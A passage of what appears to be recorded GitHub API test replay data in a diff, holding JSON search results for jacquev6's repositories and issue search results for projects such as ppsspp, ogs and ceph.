/api.github.com/repos/jacquev6/MockMockMock/languages","stargazers_url":"https://api.github.com/repos/jacquev6/MockMockMock/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/MockMockMock/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/MockMockMock/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/MockMockMock/subscription","commits_url":"https://api.github.com/repos/jacquev6/MockMockMock/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/MockMockMock/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/MockMockMock/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/MockMockMock/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/MockMockMock/merges","archive_url":"https://api.github.com/repos/jacquev6/MockMockMock/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/MockMockMock/downloads","issues_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/MockMockMock/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/MockMockMock/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/MockMockMock/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/MockMockMock/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/MockMockMock/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/MockMockMock/deployments"},"score":14.030813,"text_matches":[{"object_url":"https://api.github.com/repositories/6430524/contents/MockMockMock/tests/record_replay.py?ref=562a55542f55426f6853f3013309c85f402c359e","object_type":"FileContent","property":"content","fragment":".assertEqual(\n self.recorded.instance_method(42, 43, 44, 45, toto=46, tutu=47","matches":[{"text":"toto","indices":[72,76]}]},{"object_url":"https://api.github.com/repositories/6430524/contents/MockMockMock/tests/record_replay.py?ref=562a55542f55426f6853f3013309c85f402c359e","object_type":"FileContent","property":"content","fragment":"),\n \"(42, 43, (44, 45), [('toto', 46), ('tutu', 47)])\"\n )\n self.assertEqual","matches":[{"text":"toto","indices":[38,42]}]}]},{"name":"system_calls.py","path":"MockMockMock/tests/system_calls.py","sha":"2d2cba5658372ed8453cc9491b30eed01d66a25c","url":"https://api.github.com/repositories/6430524/contents/MockMockMock/tests/system_calls.py?ref=562a55542f55426f6853f3013309c85f402c359e","git_url":"https://api.github.com/repositories/6430524/git/blobs/2d2cba5658372ed8453cc9491b30eed01d66a25c","html_url":"https://github.com/jacquev6/MockMockMock/blob/562a55542f55426f6853f3013309c85f402c359e/MockMockMock/tests/system_calls.py","repository":{"id":6430524,"node_id":"MDEwOlJlcG9zaXRvcnk2NDMwNTI0","name":"MockMockMock","full_name":"jacquev6/MockMockMock","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/MockMockMock","description":"Python mock library focusing on very explicit definition of the mocks' behaviour","fork":false,"url":"https://api.github.com/repos/jacquev6/MockMockMock","forks_url":"https://api.github.com/repos/jacquev6/MockMockMock/forks","keys_url":"https://api.github.com/repos/jacquev6/MockMockMock/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/MockMockMock/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/MockMockMock/teams","hooks_url":"https://api.github.com/repos/jacquev6/MockMockMock/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/MockMockMock/events","assignees_url":"https://api.github.com/repos/jacquev6/MockMockMock/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/MockMockMock/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/MockMockMock/tags","blobs_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/MockMockMock/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/MockMockMock/languages","stargazers_url":"https://api.github.com/repos/jacquev6/MockMockMock/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/MockMockMock/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/MockMockMock/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/MockMockMock/subscription","commits_url":"https://api.github.com/repos/jacquev6/MockMockMock/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/MockMockMock/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/MockMockMock/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/MockMockMock/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/MockMockMock/merges","archive_url":"https://api.github.com/repos/jacquev6/MockMockMock/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/MockMockMock/downloads","issues_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/MockMockMock/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/MockMockMock/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/MockMockMock/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/MockMockMock/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/MockMockMock/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/MockMockMock/deployments"},"score":13.455629,"text_matches":[{"object_url":"https://api.github.com/repositories/6430524/contents/MockMockMock/tests/system_calls.py?ref=562a55542f55426f6853f3013309c85f402c359e","object_type":"FileContent","property":"content","fragment":"\", \"toto\"]), b\"toto\\n\")\n\n def test_mock_unexisting_thing(self):\n with self.assertRaises","matches":[{"text":"toto","indices":[4,8]},{"text":"toto","indices":[15,19]}]}]},{"name":"create_table.py","path":"LowVoltage/actions/create_table.py","sha":"7aef3c351c905263a37ef028d9916572ecabb206","url":"https://api.github.com/repositories/24800231/contents/LowVoltage/actions/create_table.py?ref=aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3","git_url":"https://api.github.com/repositories/24800231/git/blobs/7aef3c351c905263a37ef028d9916572ecabb206","html_url":"https://github.com/jacquev6/LowVoltage/blob/aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3/LowVoltage/actions/create_table.py","repository":{"id":24800231,"node_id":"MDEwOlJlcG9zaXRvcnkyNDgwMDIzMQ==","name":"LowVoltage","full_name":"jacquev6/LowVoltage","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/LowVoltage","description":"Standalone DynamoDB Python client not hiding any feature","fork":false,"url":"https://api.github.com/repos/jacquev6/LowVoltage","forks_url":"https://api.github.com/repos/jacquev6/LowVoltage/forks","keys_url":"https://api.github.com/repos/jacquev6/LowVoltage/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/LowVoltage/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/LowVoltage/teams","hooks_url":"https://api.github.com/repos/jacquev6/LowVoltage/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/LowVoltage/events","assignees_url":"https://api.github.com/repos/jacquev6/LowVoltage/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/LowVoltage/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/LowVoltage/tags","blobs_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/LowVoltage/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/LowVoltage/languages","stargazers_url":"https://api.github.com/repos/jacquev6/LowVoltage/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/LowVoltage/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/LowVoltage/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/LowVoltage/subscription","commits_url":"https://api.github.com/repos/jacquev6/LowVoltage/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/LowVoltage/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/LowVoltage/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/LowVoltage/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/LowVoltage/merges","archive_url":"https://api.github.com/repos/jacquev6/LowVoltage/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/LowVoltage/downloads","issues_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/LowVoltage/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/LowVoltage/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/LowVoltage/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/LowVoltage/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/LowVoltage/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/LowVoltage/deployments"},"score":8.286316,"text_matches":[{"object_url":"https://api.github.com/repositories/24800231/contents/LowVoltage/actions/create_table.py?ref=aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3","object_type":"FileContent","property":"content","fragment":"(\n CreateTable(\"Foo\").global_secondary_index(\"foo\").project(\"toto\", \"titi\").project([\"tutu\"]).payload","matches":[{"text":"toto","indices":[72,76]}]},{"object_url":"https://api.github.com/repositories/24800231/contents/LowVoltage/actions/create_table.py?ref=aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3","object_type":"FileContent","property":"content","fragment":"\": [\n {\"IndexName\": \"foo\", \"Projection\": {\"ProjectionType\": \"INCLUDE\", \"NonKeyAttributes\": [\"toto","matches":[{"text":"toto","indices":[112,116]}]}]},{"name":"test_create_table.py","path":"LowVoltage/actions/tests/integ/test_create_table.py","sha":"f2df1efd748a20730dc5fb75059d1b0d986ddb71","url":"https://api.github.com/repositories/24800231/contents/LowVoltage/actions/tests/integ/test_create_table.py?ref=aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3","git_url":"https://api.github.com/repositories/24800231/git/blobs/f2df1efd748a20730dc5fb75059d1b0d986ddb71","html_url":"https://github.com/jacquev6/LowVoltage/blob/aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3/LowVoltage/actions/tests/integ/test_create_table.py","repository":{"id":24800231,"node_id":"MDEwOlJlcG9zaXRvcnkyNDgwMDIzMQ==","name":"LowVoltage","full_name":"jacquev6/LowVoltage","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/LowVoltage","description":"Standalone DynamoDB Python client not hiding any feature","fork":false,"url":"https://api.github.com/repos/jacquev6/LowVoltage","forks_url":"https://api.github.com/repos/jacquev6/LowVoltage/forks","keys_url":"https://api.github.com/repos/jacquev6/LowVoltage/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/LowVoltage/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/LowVoltage/teams","hooks_url":"https://api.github.com/repos/jacquev6/LowVoltage/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/LowVoltage/events","assignees_url":"https://api.github.com/repos/jacquev6/LowVoltage/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/LowVoltage/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/LowVoltage/tags","blobs_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/LowVoltage/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/LowVoltage/languages","stargazers_url":"https://api.github.com/repos/jacquev6/LowVoltage/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/LowVoltage/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/LowVoltage/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/LowVoltage/subscription","commits_url":"https://api.github.com/repos/jacquev6/LowVoltage/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/LowVoltage/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/LowVoltage/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/LowVoltage/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/LowVoltage/merges","archive_url":"https://api.github.com/repos/jacquev6/LowVoltage/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/LowVoltage/downloads","issues_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/LowVoltage/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/LowVoltage/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/LowVoltage/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/LowVoltage/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/LowVoltage/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/LowVoltage/deployments"},"score":11.386696,"text_matches":[{"object_url":"https://api.github.com/repositories/24800231/contents/LowVoltage/actions/tests/integ/test_create_table.py?ref=aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3","object_type":"FileContent","property":"content","fragment":"(1, 2)\n .global_secondary_index(\"the_gsi\")\n .hash_key(\"hh\", _lv.STRING)\n .project(\"toto","matches":[{"text":"toto","indices":[128,132]}]},{"object_url":"https://api.github.com/repositories/24800231/contents/LowVoltage/actions/tests/integ/test_create_table.py?ref=aa9c3653e54f2ccda3db0ed647ba9ad5e5657ea3","object_type":"FileContent","property":"content","fragment":"(r.table_description.global_secondary_indexes[0].projection.non_key_attributes[0], \"toto\")\n self","matches":[{"text":"toto","indices":[84,88]}]}]},{"name":"data.json","path":"test/data/data.json","sha":"e24a6211264b282e8f60f884722c5f9f1af81c2b","url":"https://api.github.com/repositories/140828333/contents/test/data/data.json?ref=5475c2b8294f90e6b446a0bd334987f0e5ed8ef1","git_url":"https://api.github.com/repositories/140828333/git/blobs/e24a6211264b282e8f60f884722c5f9f1af81c2b","html_url":"https://github.com/jacquev6/splight.fr-generator/blob/5475c2b8294f90e6b446a0bd334987f0e5ed8ef1/test/data/data.json","repository":{"id":140828333,"node_id":"MDEwOlJlcG9zaXRvcnkxNDA4MjgzMzM=","name":"splight.fr-generator","full_name":"jacquev6/splight.fr-generator","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/splight.fr-generator","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/splight.fr-generator","forks_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/forks","keys_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/teams","hooks_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/events","assignees_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/tags","blobs_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/languages","stargazers_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/subscription","commits_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/merges","archive_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/downloads","issues_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/deployments"},"score":10.615608,"text_matches":[{"object_url":"https://api.github.com/repositories/140828333/contents/test/data/data.json?ref=5475c2b8294f90e6b446a0bd334987f0e5ed8ef1","object_type":"FileContent","property":"content","fragment":" laborum.\"\n ],\n \"name\": \"Artiste 1\",\n \"website\": \"https://google.fr/search?q=toto","matches":[{"text":"toto","indices":[92,96]}]}]}]} - diff --git a/tests/ReplayData/Search.testSearchIssues.txt b/tests/ReplayData/Search.testSearchIssues.txt index 61b5319579..2adae8fc25 100644 --- a/tests/ReplayData/Search.testSearchIssues.txt +++ b/tests/ReplayData/Search.testSearchIssues.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '29'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:5370:61ACB7C:53140729'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '107710'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('link', '; rel="next", ; rel="last"'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:38:01 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393821541')] {"total_count":29512,"items":[{"url":"https://api.github.com/repos/hrydgard/ppsspp/issues/997","labels_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/997/labels{/name}","comments_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/997/comments","events_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/997/events","html_url":"https://github.com/hrydgard/ppsspp/pull/997","id":12068673,"number":997,"title":"Make sceMpeg and sceAtrac basiclly workable for PC ","user":{"login":"oioitff","id":3243757,"avatar_url":"https://avatars.githubusercontent.com/u/3243757","gravatar_id":"3d4824a444d900fa57aff97702f221ec","url":"https://api.github.com/users/oioitff","html_url":"https://github.com/oioitff","followers_url":"https://api.github.com/users/oioitff/followers","following_url":"https://api.github.com/users/oioitff/following{/other_user}","gists_url":"https://api.github.com/users/oioitff/gists{/gist_id}","starred_url":"https://api.github.com/users/oioitff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/oioitff/subscriptions","organizations_url":"https://api.github.com/users/oioitff/orgs","repos_url":"https://api.github.com/users/oioitff/repos","events_url":"https://api.github.com/users/oioitff/events{/privacy}","received_events_url":"https://api.github.com/users/oioitff/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":1017,"created_at":"2013-03-15T15:46:16Z","updated_at":"2013-06-03T21:25:43Z","closed_at":"2013-06-02T07:08:58Z","pull_request":{"html_url":"https://github.com/hrydgard/ppsspp/pull/997","diff_url":"https://github.com/hrydgard/ppsspp/pull/997.diff","patch_url":"https://github.com/hrydgard/ppsspp/pull/997.patch"},"body":"I use ffmpeg for video decoding and dshow for at3+ audio. And I have tried my best not to break other platforms yet. In fact, the video part which using ffmpeg may also be possible for other platforms.\r\nBy the way, I haven't add the header file and lib for ffmpeg and dshow yet. I'm not sure how to do this and need some helps.","score":0.08252439},{"url":"https://api.github.com/repos/ufz/ogs/issues/275","labels_url":"https://api.github.com/repos/ufz/ogs/issues/275/labels{/name}","comments_url":"https://api.github.com/repos/ufz/ogs/issues/275/comments","events_url":"https://api.github.com/repos/ufz/ogs/issues/275/events","html_url":"https://github.com/ufz/ogs/pull/275","id":23250111,"number":275,"title":"Add interface for PETSc vector","user":{"login":"wenqing","id":1343839,"avatar_url":"https://avatars.githubusercontent.com/u/1343839","gravatar_id":"92f354b0a3a11920792f1075bf067308","url":"https://api.github.com/users/wenqing","html_url":"https://github.com/wenqing","followers_url":"https://api.github.com/users/wenqing/followers","following_url":"https://api.github.com/users/wenqing/following{/other_user}","gists_url":"https://api.github.com/users/wenqing/gists{/gist_id}","starred_url":"https://api.github.com/users/wenqing/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wenqing/subscriptions","organizations_url":"https://api.github.com/users/wenqing/orgs","repos_url":"https://api.github.com/users/wenqing/repos","events_url":"https://api.github.com/users/wenqing/events{/privacy}","received_events_url":"https://api.github.com/users/wenqing/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/ufz/ogs/milestones/6","labels_url":"https://api.github.com/repos/ufz/ogs/milestones/6/labels","id":413894,"number":6,"title":"PETSc support and performance test","description":"","creator":{"login":"norihiro-w","id":800408,"avatar_url":"https://avatars.githubusercontent.com/u/800408","gravatar_id":"48dbb4167ba59bcbbc83427b10449404","url":"https://api.github.com/users/norihiro-w","html_url":"https://github.com/norihiro-w","followers_url":"https://api.github.com/users/norihiro-w/followers","following_url":"https://api.github.com/users/norihiro-w/following{/other_user}","gists_url":"https://api.github.com/users/norihiro-w/gists{/gist_id}","starred_url":"https://api.github.com/users/norihiro-w/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/norihiro-w/subscriptions","organizations_url":"https://api.github.com/users/norihiro-w/orgs","repos_url":"https://api.github.com/users/norihiro-w/repos","events_url":"https://api.github.com/users/norihiro-w/events{/privacy}","received_events_url":"https://api.github.com/users/norihiro-w/received_events","type":"User","site_admin":false},"open_issues":2,"closed_issues":0,"state":"open","created_at":"2013-08-28T17:10:17Z","updated_at":"2014-02-01T19:44:15Z","due_on":null},"comments":34,"created_at":"2013-11-25T15:40:23Z","updated_at":"2014-02-21T15:41:07Z","closed_at":null,"pull_request":{"html_url":"https://github.com/ufz/ogs/pull/275","diff_url":"https://github.com/ufz/ogs/pull/275.diff","patch_url":"https://github.com/ufz/ogs/pull/275.patch"},"body":"@TomFischer @norihiro-w @endJunction @bilke : The previous pull request about the PETSc interface has been split into four. This is the second part: an interface for PETSc vector.\r\n\r\nAdd class InforMPI in BaseLib/MPI, and changed the corresponding CMakeLists.txt\r\n\r\nAdd test for the number of processors in usage. \r\n\r\nChanges according to the comments by Nori and Dima\r\n\r\nRewrite collectLocalVectors. Some other changes according to Nori's comments. Put calling MPI_Comm_rank local according to a test results on EVE.\r\n1000,000 times calling: 0.02 s\r\n1000,000,000 times calling: 10.77 s\r\n@norihiro-w \r\n","score":0.37365162},{"url":"https://api.github.com/repos/ceph/ceph/issues/289","labels_url":"https://api.github.com/repos/ceph/ceph/issues/289/labels{/name}","comments_url":"https://api.github.com/repos/ceph/ceph/issues/289/comments","events_url":"https://api.github.com/repos/ceph/ceph/issues/289/events","html_url":"https://github.com/ceph/ceph/pull/289","id":14371957,"number":289,"title":"Wip rgw geo rebase","user":{"login":"gregsfortytwo","id":908479,"avatar_url":"https://avatars.githubusercontent.com/u/908479","gravatar_id":"19fc74958678713dfdf1f8ca776f8fbc","url":"https://api.github.com/users/gregsfortytwo","html_url":"https://github.com/gregsfortytwo","followers_url":"https://api.github.com/users/gregsfortytwo/followers","following_url":"https://api.github.com/users/gregsfortytwo/following{/other_user}","gists_url":"https://api.github.com/users/gregsfortytwo/gists{/gist_id}","starred_url":"https://api.github.com/users/gregsfortytwo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gregsfortytwo/subscriptions","organizations_url":"https://api.github.com/users/gregsfortytwo/orgs","repos_url":"https://api.github.com/users/gregsfortytwo/repos","events_url":"https://api.github.com/users/gregsfortytwo/events{/privacy}","received_events_url":"https://api.github.com/users/gregsfortytwo/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":1,"created_at":"2013-05-15T18:19:15Z","updated_at":"2013-07-19T21:28:50Z","closed_at":"2013-07-15T16:33:05Z","pull_request":{"html_url":"https://github.com/ceph/ceph/pull/289","diff_url":"https://github.com/ceph/ceph/pull/289.diff","patch_url":"https://github.com/ceph/ceph/pull/289.patch"},"body":"This branch serves as a rebase of wip-rgw-geo-2 to compress out some fix commits and allow review. This pull request serves for tracking comments, but it should not be merged 